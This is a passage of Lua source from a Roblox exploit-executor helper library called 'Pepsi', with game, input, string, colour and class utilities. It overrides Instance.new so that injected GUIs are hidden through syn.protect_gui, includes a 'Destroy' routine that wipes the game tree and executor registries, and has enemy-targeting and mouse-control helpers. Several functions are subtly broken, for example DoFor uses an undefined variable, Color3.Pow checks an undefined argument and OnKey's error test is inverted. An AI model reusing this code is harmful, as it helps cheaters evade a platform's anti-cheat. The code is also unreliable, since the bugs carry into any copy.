2175	end
2176	if typeof(vec1) == "Vector3" and typeof(vec2) == "Instance" and vec2:IsA("Player") then
2177		return vec2:DistanceFromCharacter(vec1)
2178	elseif typeof(vec2) == "Vector3" and typeof(vec1) == "Instance" and vec1:IsA("Player") then
2179		return vec1:DistanceFromCharacter(vec2)
2180	elseif typeof(vec2) == "Vector3" and typeof(vec1) == "Vector3" then
2181		return (vec1 - vec2).Magnitude
2182	end
2183	return def
2184end
2185function Pepsi.DummyFunc() -- 'Litteraly' does nothing
2186	return function()
2187		return function()
2188			return function()
2189				return function()
2190					return function()
2191						return function()
2192							return function()
2193								return function()
2194									return function()
2195										return function()
2196											return function()
2197												return function()
2198													return function()
2199														return function()
2200															return function()
2201																return function()
2202																	return gcinfo -- Wynaut
2203																end	
2204															end	
2205														end	
2206													end	
2207												end	
2208											end	
2209										end	
2210									end	
2211								end
2212							end, "wut do wee have heer?"
2213						end
2214					end
2215				end
2216			end
2217		end
2218	end
2219end
2220function Pepsi.DoFor(func, dur, int)
2221	Pepsi.Arg(func, "function", 1, "Pepsi.DoFor")
2222	Pepsi.Arg(dur, "number", 2, "Pepsi.DoFor")
2223	local start = time()
2224	while time() - t < dur and "" ~= Pepsi.Wait(int) do
2225		func()
2226	end
2227end
2228function Pepsi.FromWaypoints(path)
2229	Pepsi.Arg(path, {"table", "Instance"}, 1, "Pepsi.FromWaypoints")
2230	if typeof(path):lower() == "path" then
2231		path = path:GetWaypoints()
2232	end
2233	local points = {}
2234	for k, v in pairs(path) do
2235		rawset(points, k, v.Position)
2236	end
2237	return points
2238end
2239function Pepsi.RouteDist(...)
2240	local args = {...}
2241	if type(args[1]) == "table" and type(args[2]) == "nil" then
2242		args = args[1]
2243	end
2244	local lastvec = table.remove(args, 1)
2245	local dist = 0
2246	for num, vec in pairs(args) do
2247		if typeof(vec) == "CFrame" then
2248			vec = vec.Position
2249		end
2250		if typeof(vec) == "Vector3" then
2251			dist, lastvec = tonumber(dist + tonumber((lastvec - vec).Magnitude)), vec
2252		end
2253	end
2254	return dist
2255end
2256function Pepsi.DistToTime(dist, ws)
2257	if typeof(dist) == "Instance" then
2258		dist = Pepsi.ToVector3(dist)
2259	end
2260	Pepsi.Arg(dist, {"CFrame", "Vector3", "number"}, 1, "Pepsi.DistToTime")
2261	Pepsi.Arg(ws, {"Instance", "number", "nil"}, 2, "Pepsi.DistToTime")
2262	if type(dist) ~= "number" then
2263		dist = Pepsi.Dist(Pepsi.ToVector3(dist))
2264	end
2265	if type(ws) ~= "number" then
2266		if not Pepsi.IsA(ws, "Humanoid") then
2267			ws = Pepsi.Human()
2268			Pepsi.Arg(ws, "Instance", 2, "Pepsi.DistToTime", "Could not get humanoid walkspeed")
2269		end
2270		ws = (ws or Pepsi.Human()).WalkSpeed
2271	end
2272	Pepsi.Arg(ws, "number", 2, "Pepsi.DistToTime", "Could not get humanoid walkspeed")
2273	return dist / ws
2274end
2275function Pepsi.OnKey(key, callback)
2276	if typeof(key) == "EnumItem" or type(key) == "string" and type(callback) == "function" then
2277		if type(key) == "string" then
2278			local oops, key = pcall(function()
2279				return Enum.KeyCode[key]
2280			end)
2281			if not oops and key then
2282				return Pepsi.Error(oops)
2283			end
2284		end
2285		if typeof(key) ~= "EnumItem" then
2286			return Pepsi.Error("Key supplied is not a keycode!")
2287		end
2288		if type(callback) ~= "function" then
2289			return Pepsi.Error("Callback supplied is not a function!")
2290		end
2291		if not Pepsi.Keys[key] then
2292			Pepsi.Keys[key] = {}
2293		end
2294		local k = Pepsi.NewClass("Connection", {
2295			["function"] = {
2296				value = callback,
2297				types = "function"
2298			},
2299			connection = {
2300				value = nil,
2301				types = {"RBXScriptConnection", "nil"}
2302			},
2303			method = {
2304				value = "toggle",
2305				readonly = true
2306			},
2307			presses = {
2308				value = 0,
2309				types = "number"
2310			},
2311			enabled = {
2312				value = true,
2313				types = "boolean"
2314			},
2315			Disconnect = {
2316				value = function(self)
2317					if self and self.connection then
2318						self.connection:Disconnect()
2319					end
2320					self.enabled = false
2321					self = nil
2322				end,
2323				readonly = true
2324			},
2325			ClassName = {
2326				value = "RBXScriptConnection", -- For losers who do a typeof check
2327				readonly = true
2328			}
2329		}, false, nil, {
2330			__Address = "Connection"
2331		})
2332		table.insert(Pepsi.Keys[key], k)
2333		k.connection = game:GetService("UserInputService").InputEnded:Connect(function(input, typing)
2334			if k and k.enabled and input and not typing and input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == key then
2335				k.presses = 1 + (k.presses or 0)
2336				return callback(({
2337					[0] = false,
2338					true
2339				})[k.presses % 2], k.presses)
2340			end
2341		end)
2342		return k
2343	end
2344end
2345function Pepsi.WhileKey(key, callback, interval)
2346	if typeof(key) == "EnumItem" or type(key) == "string" and type(callback) == "function" then
2347		if type(key) == "string" then
2348			local oops, key = pcall(function()
2349				return Enum.KeyCode[key]
2350			end)
2351			if not oops and key then
2352				return Pepsi.Error(oops)
2353			end
2354			if typeof(key) ~= "EnumItem" then
2355				return Pepsi.Error("Key supplied is not a keycode!")
2356			end
2357			if type(callback) ~= "function" then
2358				return Pepsi.Error("Callback supplied is not a function!")
2359			end
2360			if type(interval) == "nil" then
2361				return Pepsi.Error("Interval supplied is not a supported!")
2362			end
2363			local down = false
2364			return game:GetService("UserInputService").InputBegan:Connect(function(input, typing)
2365				if input and not typing and input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == key then
2366					down = true
2367					local t = time()
2368					while down do
2369						callback(time() - t)
2370						Pepsi.Wait(interval)
2371					end
2372				end
2373			end), game:GetService("UserInputService").InputEnded:Connect(function(input, typing)
2374				if input and not typing and input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == key then
2375					down = false
2376				end
2377			end)
2378		end
2379	end
2380end
2381function Pepsi.Destroy(...) -- Completely destroys any object(s)/table(s), and leaves no trace (DANGEROUS)
2382	local obj, s = nil, 0
2383	if ... == nil then
2384		if getreg then
2385			obj = Pepsi.ecall(getreg) or {game:GetChildren()}
2386			pcall(function()
2387				for k, v in pairs(game:GetChildren()) do
2388					pcall(function()
2389						table.insert(obj, v)
2390					end)
2391				end
2392			end)
2393			if getgenv and getrenv and syn and getgc and getscripts then
2394				pcall(function()
2395					for k, v in pairs(getgenv()) do
2396						pcall(function()
2397							table.insert(obj, v)
2398						end)
2399					end
2400				end)
2401				pcall(function()
2402					for k, v in pairs(getrenv()) do
2403						pcall(function()
2404							table.insert(obj, v)
2405						end)
2406					end
2407				end)
2408				pcall(function()
2409					for k, v in pairs(syn) do
2410						pcall(function()
2411							table.insert(obj, v)
2412						end)
2413					end
2414				end)
2415				pcall(function()
2416					for k, v in pairs(getgc()) do
2417						pcall(function()
2418							table.insert(obj, v)
2419						end)
2420					end
2421				end)
2422				pcall(function()
2423					for k, v in pairs(getscripts()) do
2424						pcall(function()
2425							table.insert(obj, v)
2426						end)
2427					end
2428				end)
2429			end
2430			table.insert(obj, game)
2431		else
2432			obj = {game:GetChildren()}
2433		end
2434	end
2435	if Pepsi.IsA(..., "table") then
2436		obj = ...
2437	end
2438	obj = obj or {...}
2439	for k, v in pairs(obj) do
2440		s = 1 + (s or 0)
2441		if s >= 50 then
2442			Pepsi.Sleep()
2443			s = 0
2444		end
2445		Pepsi.Msg("Destroying:" .. tostring(v))
2446		pcall(spawn, function()
2447			if Pepsi.IsA(v, game) then
2448				pcall(function()
2449					v:ClearAllChildren()
2450					v:Destroy()
2451					v:Remove()
2452					v.Parent = nil
2453					game:GetService("Debris"):AddItem(v)
2454				end)
2455			elseif Pepsi.IsA(v, typeof) then
2456				pcall(function()
2457					if debug.getupvalues then
2458						for _k, _v in pairs(debug.getupvalues(v)) do
2459							pcall(spawn, function()
2460								_v = nil
2461								_k = nil
2462							end)
2463						end
2464					end
2465					v = nil
2466				end)
2467				pcall(function()
2468					if debug.getstack then
2469						for _k, _v in pairs(debug.getstack(v)) do
2470							pcall(spawn, function()
2471								_v = nil
2472								_k = nil
2473							end)
2474						end
2475					end
2476					v = nil
2477				end)
2478				pcall(function()
2479					if debug.getconstants then
2480						for _k, _v in pairs(debug.getconstants(v)) do
2481							pcall(spawn, function()
2482								_v = nil
2483								_k = nil
2484							end)
2485						end
2486					end
2487					v = nil
2488				end)
2489			elseif Pepsi.IsA(v, {}) then
2490				pcall(Pepsi.spawn, table.foreach, v, Pepsi.Destroy)
2491			elseif nil ~= v then
2492				pcall(function()
2493					v = nil
2494				end)
2495			end
2496		end)
2497	end
2498end
2499function Pepsi.WaitUntil(signal, timeout, default) -- RBXScriptSignal:Wait() but with a timeout
2500    local thread = coroutine.running()
2501    local done = false
2502    local connection
2503    connection = signal:Connect(function(...)
2504        connection:Disconnect()
2505        done = true
2506        coroutine.resume(thread, true, ...)
2507    end)
2508    delay(timeout, function()
2509        if done then
2510			return
2511		end
2512        connection:Disconnect()
2513		connection = nil
2514        coroutine.resume(thread, false, default)
2515    end)
2516	return coroutine.yield()
2517end
2518function Pepsi.Center(gui) -- Center's a gui frame object
2519	gui.Position = UDim2.new(0.5, -math.abs(gui.AbsoluteSize.X / 2), 0.5, -math.abs(gui.AbsoluteSize.Y / 2))
2520end
2521function Pepsi.Name(obj)
2522	if obj == nil then
2523		return string.simplify(game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name)
2524	elseif typeof(obj) == "Instance" then
2525		return obj:GetFullName()
2526	elseif type(obj) == "table" then
2527		return rawget(obj, "Name") or rawget(obj, "name")
2528	elseif type(obj) == "number" then
2529		return string.simplify(game:GetService("MarketplaceService"):GetProductInfo(obj).Name)
2530	end
2531	return tostring(obj)
2532end
2533function Pepsi.HoveredGui(x, y)
2534	local nx, ny = Pepsi.MousePos()
2535	x, nx, y, ny = type(x) == "number" and x or nx, nil, type(y) == "number" and y or ny, nil
2536	return table.softmerge(game:GetService("CoreGui"):GetGuiObjectsAtPosition(x, y), game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"):GetGuiObjectsAtPosition(x, y), game:GetService("StarterGui"):GetGuiObjectsAtPosition(x, y))
2537end
2538function Pepsi.ocall(...)
2539	local calls = {...}
2540	for k, v in pairs(calls) do
2541		local s, r = pcall(unpack(v))
2542		if #calls == k then
2543			return s, r
2544		end
2545	end
2546end
2547function Pepsi.eocall(...)
2548	local calls = {...}
2549	for k, v in pairs(calls) do
2550		local r = Pepsi.ecall(unpack(v))
2551		if #calls == k then
2552			return r
2553		end
2554	end
2555end
2556function Pepsi.oycall(...)
2557	local calls = {...}
2558	for k, v in pairs(calls) do
2559		local r = Pepsi.ycall(unpack(v))
2560		if #calls == k then
2561			return r
2562		end
2563	end
2564end
2565function Pepsi.eoycall(...)
2566	local calls = {...}
2567	for k, v in pairs(calls) do
2568		local r = Pepsi.eycall(unpack(v))
2569		if #calls == k then
2570			return r
2571		end
2572	end
2573end
2574function B64Enc(data)
2575    return ((data:gsub(".", function(x)
2576        local r, chars = "", x:byte()
2577        for i = 8, 1, -1 do
2578            r = r .. (chars % 2 ^ i - chars % 2 ^ (i - 1) > 0 and "1" or "0")
2579        end
2580        return r
2581    end) .. "0000"):gsub("%d%d%d?%d?%d?%d?", function(x)
2582        if (#x < 6) then
2583            return ""
2584        end
2585        local c = 0
2586        for i = 1, 6 do
2587            c = c + (x:sub(i, i) == "1" and 2 ^ (6 - i) or 0)
2588        end
2589        return chars:sub(c + 1, c + 1)
2590    end) .. ({
2591        "",
2592        "==",
2593        "="
2594    })[#data % 3 + 1])
2595end
2596function Pepsi.B64Dec(data)
2597    data = string.gsub(data, "[^" .. chars .. "=]", "")
2598    return (data:gsub(".", function(x)
2599        if (x == "=") then
2600            return ""
2601        end
2602        local r, f = "", (chars:find(x) - 1)
2603        for i = 6, 1, -1 do
2604            r = r .. (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and "1" or "0")
2605        end
2606        return r
2607    end):gsub("%d%d%d?%d?%d?%d?%d?%d?", function(x)
2608        if (#x ~= 8) then
2609            return ""
2610        end
2611        local c = 0
2612        for i = 1, 8 do
2613            c = c + (x:sub(i, i) == "1" and 2 ^ (8 - i) or 0)
2614        end
2615        return string.char(c)
2616    end))
2617end
2618function Pepsi.Decode(str, num)
2619    num = tonumber(num or 0XC)
2620    return tostring(str:gsub("..", function(d)
2621        return string.char(math.xor(tonumber(d, 0X10), num))
2622    end))
2623end
2624function Pepsi.Encode(str, num)
2625    num = tonumber(num or 0XC)
2626    return tostring(str:gsub(".", function(d)
2627        return string.format("%02X", math.xor(d:byte(), num))
2628    end))
2629end
2630function Pepsi.NewClass(classname, properties, newindex, signals, custom_meta) -- Some srsly powerful shit
2631	local f = "Pepsi.NewClass"
2632	Pepsi.Arg(classname, {"string", "nil"}, 1, f)
2633	Pepsi.Arg(properties, {"table", "nil"}, 2, f)
2634	Pepsi.Arg(newindex, {"boolean", "nil"}, 3, f)
2635	Pepsi.Arg(signals, {"table", "nil"}, 4, f)
2636	Pepsi.Arg(custom_meta, {"table", "nil"}, 5, f)
2637	local default = {
2638		ClassName = tostring(classname)
2639	}
2640	local rules = {
2641		ClassName = {
2642			value = tostring(classname),
2643			readonly = true,
2644			types = {
2645				["string"] = true
2646			}
2647		}
2648	}
2649	local classsignals = {}
2650	if "table" == type(properties) then
2651		for key, data in pairs(properties) do
2652			Pepsi.Arg(data, "table", 2, f, "Value must be a table")
2653			Pepsi.Arg(data.readonly, {"nil", "boolean"}, 2, f, "readonly must be a boolean")
2654			Pepsi.Arg(data.types, {"table", "string", "nil"}, 2, f, "type(s) must be a string")
2655			if not data.types and data.readonly then
2656				data.types = {typeof(data.value)}
2657			end
2658			if type(data.types) ~= "table" then
2659				data.types = {data.types}
2660			end
2661			if type(data.types) == "table" then
2662				data.types = table.dictionary(data.types)
2663			end
2664			if dbg and data.readonly and dbg.sro and type(data.value) == "table" then
2665				pcall(dbg.sro, data.value, true)
2666			end
2667			default[key] = data.value
2668			rules[key] = data
2669		end
2670	end
2671	if "table" == type(signals) then
2672		for key, data in pairs(signals) do
2673			Pepsi.Arg(data, "table", 4, f, "Value must be a table")
2674			Pepsi.Arg(data.readonly, {"nil", "boolean"}, 4, f, "readonly must be a boolean")
2675			Pepsi.Arg(data.triggers, {"table", "RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2676			if typeof(data.triggers) == "Instance" and not data.trigger:IsA("BindableEvent") then
2677				Pepsi.Arg(nil, {"RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2678			end
2679			if nil == data.readonly then
2680				data.readonly = true
2681			end
2682			local signal = newproxy(true)
2683			local name = tostring("Signal " .. key)
2684			local functionality = getmetatable(signal)
2685			function functionality.__tostring(self)
2686			    return name
2687			end
2688			functionality.__metatable = "The metatable is locked"
2689			functionality.__arguments = {}
2690			functionality.__signals = {}
2691			functionality.__bindable = Instance.make("BindableEvent", {
2692				Name = name
2693			})
2694			functionality.__index = {
2695				ClassName = "RBXScriptSignal"
2696			}
2697			function functionality.__index:Wait()
2698				functionality.__bindable.Event:Wait()
2699				return unpack(functionality.__arguments, 0X1, functionality.__arguments[0X0])
2700			end
2701			function functionality.__index:Connect(func)
2702				return functionality.__bindable.Event:Connect(function()
2703					func(unpack(functionality.__arguments, 0X1, functionality.__arguments[0X0]))
2704				end)
2705			end
2706			if not data.readonly then
2707				function functionality.__index:Fire(...)
2708					functionality.__arguments = {[0X0] = select("#", ...), ...}
2709					functionality.__bindable:Fire()
2710					functionality.__arguments = nil
2711				end
2712				function functionality.__index:Destroy()
2713					if #functionality.__signals > 0 then
2714						for _, connection in pairs(functionality.__signals) do
2715							connection:Disconnect()
2716							connection = nil
2717						end
2718						functionality.__signals = {}
2719					end
2720					functionality.__bindable:Destroy()
2721					functionality.__bindable = nil
2722					functionality.__arguments = nil
2723					signal = nil
2724				end
2725			end
2726			function functionality.__newindex(self, property, value)
2727			    return error(property .. " cannot be assigned to", 3)
2728			end
2729			if type(data.triggers) ~= "table" then
2730				data.triggers = {data.triggers}
2731			end
2732			for _, sig in pairs(data.triggers) do
2733				Pepsi.Arg(sig, {"RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2734				if typeof(data.triggers) == "Instance" and not data.trigger:IsA("BindableEvent") then
2735					Pepsi.Arg(nil, {"RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2736				end
2737				local s = typeof(sig) == "RBXScriptSignal" and sig or sig.Event
2738				table.insert(functionality.__signals, s:Connect(function(...)
2739					functionality.__arguments = {[0X0] = select("#", ...), ...}
2740					functionality.__bindable:Fire()
2741					functionality.__arguments = nil
2742				end))
2743			end
2744			default[key] = signal
2745			rules[key] = {
2746				readonly = true
2747			}
2748			classsignals[key] = signal
2749		end
2750	end
2751	local userdata = newproxy(true)
2752	local functionality = getmetatable(userdata)
2753	functionality.__metatable = "The metatable is locked"
2754	functionality.__Address = tostring(userdata):gsub("userdata", tostring(classname))
2755	functionality.__index = default
2756	function functionality.__tostring(self)
2757	    return functionality.__Address
2758	end
2759	function functionality.__newindex(self, property, value)
2760	    if rawget(rules, property) then
2761			if rules[property].readonly then
2762				return error("can't set value", 3)
2763			elseif not rules[property].types[typeof(value)] then
2764				if type(value) == "string" then
2765					return error("Invalid value \"\r" .. tostring(value:sub(1, 80)) .. "\" for " .. classname, 3)
2766				elseif type(value) == "number" then
2767					return error("Invalid value \r" .. tostring(value) .. " for " .. classname, 3)
2768				end
2769				return error("Invalid value for " .. classname, 3)
2770			else
2771				return rawset(default, property, value)
2772			end
2773		elseif newindex then
2774			return rawset(default, property, value)
2775		else
2776			return error(property .. " is not a valid member of " .. classname, 3)
2777		end
2778	end
2779	if type(custom_meta) == "table" then
2780		for typ, meta in pairs(custom_meta) do
2781			functionality[typ] = meta
2782		end
2783	end
2784	return userdata--, classsignals -- Walla
2785end
2786function Pepsi.FixMouse()
2787	if mousemoveabs then
2788	    mousemoveabs(Pepsi.Viewport(0.5, 0.5))
2789	    wait()
2790	    return mousemoverel(1, 1)
2791	end
2792end
2793Pepsi.Humanoid = Pepsi.Human
2794Pepsi.GetUi = Pepsi.GetUI
2795Pepsi.Waypoint = FromWaypoints
2796Pepsi.Waypoints = FromWaypoints
2797Pepsi.arg = Pepsi.Arg
2798Pepsi.HoverGui = Pepsi.HoveredGui
2799Pepsi.GuiUnderMouse = Pepsi.HoveredGui
2800Pepsi.GuiMouse = Pepsi.HoveredGui
2801Pepsi.GetGui = Pepsi.HoveredGui
2802Pepsi.CenterMouse = Pepsi.FixMouse
2803Pepsi.Others = Pepsi.GetOthers
2804Pepsi.Message = Pepsi.Splash
2805Pepsi.Distance = Pepsi.Dist
2806Pepsi.MoveMouseAbs = Pepsi.MoveMouse
2807Pepsi.Enemy = Pepsi.GetEnemy
2808Pepsi.Enemies = Pepsi.GetEnemy
2809Pepsi.WaitFor = Pepsi.WaitOnAny
2810Pepsi.WaitOn = Pepsi.WaitOnAny
2811Pepsi.yfecall = Pepsi.efycall
2812Pepsi.fyecall = Pepsi.efycall
2813Pepsi.yefcall = Pepsi.efycall
2814Pepsi.feycall = Pepsi.efycall
2815Pepsi.eyfcall = Pepsi.efycall
2816Pepsi.fyscall = Pepsi.fsycall
2817Pepsi.sfycall = Pepsi.fsycall
2818Pepsi.yfscall = Pepsi.fsycall
2819Pepsi.syfcall = Pepsi.fsycall
2820Pepsi.ysfcall = Pepsi.fsycall
2821Pepsi.yscall = Pepsi.sycall
2822Pepsi.yfcall = Pepsi.fycall
2823Pepsi.fecall = Pepsi.efcall
2824Pepsi.sfcall = Pepsi.fscall
2825Pepsi.HasMark = Pepsi.IsMarked
2826function string.rawfind(s, f, p)
2827	if type(p) ~= "number" then
2828		p = nil
2829	end
2830	return string.find(s, f, p, true)
2831end
2832function string.pack(str, split)
2833	Pepsi.Arg(str, "string", 1, "string.pack")
2834	Pepsi.Arg(split, {"string", "nil", "number"}, 2, "string.pack")
2835	if type(split) == "number" then
2836		split = string.rep(".", split)
2837	elseif not split then
2838		split = "."
2839	end
2840	local t = {}
2841	str:gsub(str, split, function(c)
2842		table.insert(t, c)
2843	end)
2844	return t
2845end
2846function string.simplify(str)
2847	return tostring(tostring(str or ""):gsub(".", function(c)
2848        if c:find("%d") or c:find("%W") then
2849            return ""
2850        end
2851    end))
2852end
2853function string.filter(s_str)
2854	return tostring(tostring(s_str or ""):gsub(".", function(c)
2855	    if c:upper() == c:lower() then
2856	        return "\\" .. (string.byte(c) or c)
2857	    end
2858	end) or "")
2859end
2860function string.bytes(s_str)
2861    s_str = tostring(s_str or "")
2862    return tostring(s_str:gsub(".", function(c)
2863        return ("\\" .. c:byte()) or c or ""
2864    end))
2865end
2866function string.hex(str)
2867	return (str:gsub(".", function(h)
2868        return string.format("%02X", string.byte(h))
2869    end))
2870end
2871function string.unhex(str)
2872	return (str:gsub("..", function(hx)
2873        return string.char(tonumber(hx, 0X10))
2874    end))
2875end
2876function string.getvalue(str)
2877	return Pepsi.ecall(loadstring("return (" .. str .. ")"))
2878end
2879function string.chars(s_str)
2880	s_str = tostring(s_str or ""):sub(1, 200)
2881	local len, pos = s_str:len(), 0
2882	return "string.char(" .. tostring(s_str:gsub(".", function(c)
2883		pos = 1 + pos
2884		return "0X" .. tostring(string.format("%X", c:byte())) .. tostring((function()
2885			if pos >= len then
2886				return ""
2887			end
2888			return ", "
2889		end)())
2890	end)) .. ")"
2891end
2892function string.stringify(...) -- replicates a , in argument
2893	local s = ""
2894    local strands = {...}
2895	while #strands > 0 do
2896		local cs = table.remove(strands, 1)
2897        if cs:len() > 0 then
2898            if s:len() > 0 then
2899                s = s .. (" "):rep(4)
2900            end
2901            s = s .. tostring(cs or "")
2902        end
2903    end
2904	return tostring(s)
2905end
2906function string.charify(s_str) -- turn text into number
2907	s_str = tostring(s_str or "")
2908	if s_str:len() < 200 then
2909		return string.chars(s_str)
2910	else
2911		local num = 0
2912		return "(" .. s_str:gsub(string.rep(".", 200), function(str)
2913			num = 1 + num
2914			if num == 1 then
2915				return string.chars(str)
2916			end
2917			return " .. " .. string.chars(str)
2918		end) .. ")"
2919	end
2920end
2921function string.num(...)
2922	local args = {...}
2923	if #args == 1 then
2924		if type(args[1]) == "number" then
2925			return ...
2926		end
2927		if type(tostring(args[1])) == "string" then
2928			local temp = tostring(args[1]):gsub("%D", "")
2929			if temp:len() <= 0 then
2930				return
2931			end
2932			return tonumber(temp)
2933		end
2934		return ...
2935	end
2936	local nargs = {} -- No disrespect, just short for new_args
2937	for k = 1, #args do
2938		Pepsi.ecall(function()
2939			local v = args[k]
2940			if type(v) == "string" then
2941				nargs[k] = tonumber(({v:gsub("%D", "")})[1])
2942			end
2943		end)
2944	end
2945	return unpack(nargs)
2946end
2947function string.split(text, pattern, plain) -- Sorta like a tokenizer
2948    local ret = {}
2949    for match in (function(text, pattern, plain)
2950        local splitStart, length = 1, #text
2951        return function()
2952            if splitStart then
2953                local sepStart, sepEnd = string.find(text, pattern, splitStart, plain)
2954                local ret
2955                if not sepStart then
2956                    ret = string.sub(text, splitStart)
2957                    splitStart = nil
2958                elseif sepEnd < sepStart then
2959                    ret = string.sub(text, splitStart, sepStart)
2960                    if sepStart < length then
2961                        splitStart = sepStart + 1
2962                    else
2963                        splitStart = nil
2964                    end
2965                else
2966                    ret = sepStart > splitStart and string.sub(text, splitStart, sepStart - 1) or ""
2967                    splitStart = sepEnd + 1
2968                end
2969                return ret
2970            end
2971        end
2972    end)(text, pattern, plain) do
2973        table.insert(ret, match)
2974    end
2975    return ret
2976end
2977function string.raw(str) -- \\65 > A
2978	return rawget(({str:gsub("\\(%d+)", string.char)}), 1)
2979end
2980function string.new(len)
2981	len = tonumber(len or math.random(3, 10)) or math.random(3, 10)
2982	return string.rep("_", len):gsub(".", function()
2983		return string[({"lower", "upper"})[math.random(2)]](string.char(math.random(65, 90))) -- Clever
2984	end)
2985end
2986string.nums = string.num
2987function Color3.blend(clr1, clr2, n) -- Mix n' match colors
2988	Pepsi.Arg(clr1, "Color3", 1, "Color3.blend")
2989	Pepsi.Arg(clr2, "Color3", 2, "Color3.blend")
2990	Pepsi.Arg(n, {"nil", "number"}, 3, "Color3.blend")
2991	n = tonumber(n or 0.5)
2992	if n > 1 then
2993		n = n / 100
2994	end
2995	if typeof(clr1) == "Color3" and typeof(clr2) == "Color3" then
2996		return clr1:Lerp(clr2, n)
2997	end
2998	return Color3.new()
2999end
3000function Color3.Pow(clr, pow)
3001	Pepsi.Arg(clr, "Color3", 1, "Color3.Pow")
3002	Pepsi.Arg(mod, "number", 2, "Color3.Pow")
3003	return Color3.new(math.pow(clr.r, pow), math.pow(clr.g, pow), math.pow(clr.b, pow))
3004end
3005function Color3.LerpGamma(clr1, clr2, amount, gamma)
3006	Pepsi.Arg(clr1, "Color3", 1, "Color3.LerpGamma")
3007	Pepsi.Arg(clr2, "Color3", 2, "Color3.LerpGamma")
3008	Pepsi.Arg(amount, {"nil", "number"}, 3, "Color3.LerpGamma")
3009	Pepsi.Arg(gamma, {"nil", "number"}, 4, "Color3.LerpGamma")
3010	amount, gamma = tonumber(amount or 0.5), tonumber(gamma or 1)
3011    return Color3.Pow(Color3.Pow(clr1, gamma):lerp(Color3.Pow(clr2, gamma), amount), math.inverse(gamma))
3012end
3013function Color3.invert(clr, mod) -- Inverts a color3
3014	Pepsi.Arg(clr, "Color3", 1, "Color3.invert")
3015	Pepsi.Arg(mod, {"nil", "number"}, 2, "Color3.invert")
3016	mod = tonumber(mod or 1)
3017	if mod > 1 then
3018		mod = mod / 100
3019	end
3020	mod = math.range(mod, 0, 1)
3021	if typeof(clr) == "Color3" then
3022		return Color3.new(
3023			mod - clr.r,
3024			mod - clr.g,
3025			mod - clr.b
3026		)
3027	end
3028	return Color3.new()
3029end
3030Color3.mix = Color3.blend
3031function string.scramble(minlen, maxlen) -- Return a cluster fuck of ascii spam
3032	Pepsi.Arg(minlen, {"nil", "number"}, 1, "string.scramble")
3033	Pepsi.Arg(maxlen, {"nil", "number"}, 2, "string.scramble")
3034	minlen = math.abs(tonumber(minlen or math.random(3, 20)))
3035	maxlen = math.abs(tonumber(maxlen or math.random(70, 120)))
3036	return (string.rep("x", math.random(minlen or math.random(3, 20), maxlen or math.random(70, 120))):gsub(".", function(...)
3037		return (string.rtl .. ({utf8.char(128105), utf8.char(10084), utf8.char(128139), utf8.char(127809), utf8.char(127764), utf8.char(128690), utf8.char(9851), utf8.char(128104), utf8.char(128103), utf8.char(128102), utf8.char(127465), utf8.char(128077), utf8.char(128078), utf8.char(10), utf8.char(13), utf8.char(879), utf8.char(95), utf8.char(61), utf8.char(40), utf8.char(41), utf8.char(91), utf8.char(93), utf8.char(34), utf8.char(39), utf8.char(92), utf8.char(47), utf8.char(123), utf8.char(125), utf8.char(64), utf8.char(35), utf8.char(36), utf8.char(37), utf8.char(94), utf8.char(38), utf8.char(42), utf8.char(32), utf8.char(804), utf8.char(1161), utf8.char(848), utf8.char(871), utf8.char(838), utf8.char(785), utf8.char(869), utf8.char(850), utf8.char(768), utf8.char(799), utf8.char(828), utf8.char(792), utf8.char(840), utf8.char(851), utf8.char(810), utf8.char(801), utf8.char(850), utf8.char(777), utf8.char(872), utf8.char(827), utf8.char(796), utf8.char(828), utf8.char(799), utf8.char(845), utf8.char(790), utf8.char(806), utf8.char(817), utf8.char(798), utf8.char(846), utf8.char(823), utf8.char(868), utf8.char(843), utf8.char(771), utf8.char(839), utf8.char(852), utf8.char(868), utf8.char(786), utf8.char(803), utf8.char(816), utf8.char(793), utf8.char(805), utf8.char(804), utf8.char(854), utf8.char(811), utf8.char(791), utf8.char(833), utf8.char(794), utf8.char(830), utf8.char(842), utf8.char(869), utf8.char(781), utf8.char(779), utf8.char(783), utf8.char(873), utf8.char(876), utf8.char(878), utf8.char(774), utf8.char(809), utf8.char(836), utf8.char(784), utf8.char(849), utf8.char(829), utf8.char(773), utf8.char(113), utf8.char(119), utf8.char(101), utf8.char(114), utf8.char(116), utf8.char(121), utf8.char(117), utf8.char(105), utf8.char(111), utf8.char(112), utf8.char(97), utf8.char(115), utf8.char(100), utf8.char(102), utf8.char(103), utf8.char(104), utf8.char(106), utf8.char(107), utf8.char(108), utf8.char(59), utf8.char(122), utf8.char(120), utf8.char(99), utf8.char(118), utf8.char(98), utf8.char(110), utf8.char(109), utf8.char(46), utf8.char(44), utf8.char(81), utf8.char(87), utf8.char(69), utf8.char(82), utf8.char(84), utf8.char(89), utf8.char(85), utf8.char(73), utf8.char(79), utf8.char(80), utf8.char(65), utf8.char(83), utf8.char(68), utf8.char(70), utf8.char(71), utf8.char(72), utf8.char(74), utf8.char(75), utf8.char(76), utf8.char(90), utf8.char(88), utf8.char(67), utf8.char(86), utf8.char(66), utf8.char(78), utf8.char(77), utf8.char(49), utf8.char(50), utf8.char(51), utf8.char(52), utf8.char(53), utf8.char(54), utf8.char(55), utf8.char(56), utf8.char(57), utf8.char(48), utf8.char(96), utf8.char(126)})[math.random(1, 166)]) or tostring(... or string.rtl) or string.rtl
3038    end))
3039end
3040function Instance.new(class, parent) -- Hides all gui classes via synapse users
3041	local i = old_new(class)
3042	if typeof(i) == "Instance" and type(syn) == "table" and type(syn.protect_gui) == "function" and i:IsA("GuiBase") then
3043		pcall(syn.protect_gui, i)
3044	end
3045	if parent then
3046		i.Parent = parent
3047	end
3048	return i
3049end
3050function Instance.make(class, properties, disapear)
3051	if Pepsi.IsA(class, game) then
3052		class = class.ClassName
3053	end
3054    local nstance = Pepsi.ecall(Instance.new, class)
3055    if typeof(properties) == "Instance"  and typeof(nstance) == "Instance"  then
3056        nstance.Parent = properties
3057    elseif typeof(properties) == "table" and typeof(nstance) == "Instance" then
3058        for property, value in pairs(properties) do
